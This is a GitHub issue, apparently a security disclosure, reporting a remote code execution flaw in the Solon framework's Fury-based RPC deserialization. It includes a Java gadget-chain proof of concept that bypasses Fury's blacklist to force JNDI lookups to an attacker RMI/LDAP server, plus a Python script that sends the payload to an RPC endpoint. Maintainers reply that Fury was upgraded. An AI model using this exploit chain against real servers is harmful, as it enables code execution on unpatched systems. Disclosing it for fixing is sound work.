opensolon / solon

🔥 New Java application development framework: FASTER, SMALLER, SIMPLER!! 2 to 3 times more concurrency 50% memory savings Startup is 5-10 times faster. 50% ~ 90% smaller packaging; Compatible with java8 ~ java22.

Home Page:https://solon.noear.org

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

A new RCE vulnerability

adv851 opened this issue · comments

Issue Description

We recently discovered that Solon provides 'Fury' as a serialization and deserialization solution for RPC. However, our research has found that the corresponding component has a security vulnerability. Attackers can execute a JNDI injection attack using a carefully constructed attack payload.

Vulnerability Localization

351581700132100_ pic
The vulnerability is located at line 25 of the org.noear.solon.serialization.fury.FuryActionExecutor class, as shown in the figure above. Although Fury provides a built-in blacklist to defend against potential deserialization attacks, we will next demonstrate how to bypass this blacklist to carry out an attack.

Vulnerability Reproduction

Configuring the RPC Service

Issue #145 has already provided a simple configuration for an RPC server. We just need to add the following dependencies in the pom.xml file:

<dependency>
  <groupId>org.noear</groupId>
  <artifactId>solon.serialization.fury</artifactId>
  <version>2.6.0</version>
</dependency>
<dependency>
  <groupId>com.caucho</groupId>
  <artifactId>quercus</artifactId>
  <version>4.0.66</version>
</dependency>
Configuring a Malicious LDAP Server

We use ysoserial(https://github.com/frohoff/ysoserial) to set up a malicious LDAP server for subsequent JNDI injection attacks(Note that in this instance, we are demonstrating using the well-known exploit chain CommonsCollections2. To achieve a similar effect, please configure the corresponding dependencies on the RPC server side.).

351591700132115_ pic

Proof of Concept

We can obtain the serialized data required for the attack through the following PoC (Proof of Concept).

RegistryContext registryContext = new RegistryContext("127.0.0.1", 8989, null);
MemoryModel memoryModel = new MemoryModel();
memoryModel.bind("evil", registryContext);
ContextImpl context = new ContextImpl("rmi://localhost:8888/8tr4qv", memoryModel, null);
Constructor c = QBindingEnumeration.class.getDeclaredConstructors()[0];
c.setAccessible(true);
ArrayList<String> list = new ArrayList<>();
list.add("/evil/8tr4qv");
QBindingEnumeration enumeration = (QBindingEnumeration) c.newInstance(context, list);
XStringForFSB xString = Reflections.createWithoutConstructor(XStringForFSB.class);
Reflections.setFieldValue(xString, "m_strCache", "nxjkas");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",enumeration);
map1.put("zZ",xString);
map2.put("yy",xString);
map2.put("zZ",enumeration);

HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
  nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
  nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
setFieldValue(s, "table", tbl);

byte[] poc = FuryUtil.fury.serialize(s);
new FileOutputStream(new File("/tmp/serifury")).write(poc);

Subsequently, we can use the Python script below to send the malicious serialized data to the server, completing the exploitation (this Python script is also referenced from Issue #145).

with open("/tmp/serifury","rb") as f:
    body= f.read()
    print(len(body))
    burp0_url = "http://127.0.0.1:8080/rpc/v1/user/getUser"
    burp0_cookies = {"_jpanonym": "\"OWQ0ZTEzNzBlMWFlYTY2NzhhMDMxOWM5MmYzMjc0MzgjMTY2NTU2NDE1MzAwOCMzMTUzNjAwMCNPR1ZpTkRVd05qWXpZbU0xTkRCaU0yRXlabVpoTlRrek5HUXpabVk1TmpJPQ==\"", "Hm_lvt_bfe2407e37bbaa8dc195c5db42daf96a": "1665564182"}
    ct = "application/fury"
    burp0_headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "deflate",
        "Connection": "close", "Content-Type": ct, "Upgrade-Insecure-Requests": "1",
        "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "none", "Sec-Fetch-User": "?1"}

    res = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=body, proxies=proxy)
    print(res.text)

Attack Results

351601700132123_ pic

谢谢反馈!

有什么改进建议吗?

fury 已升级为最新版本。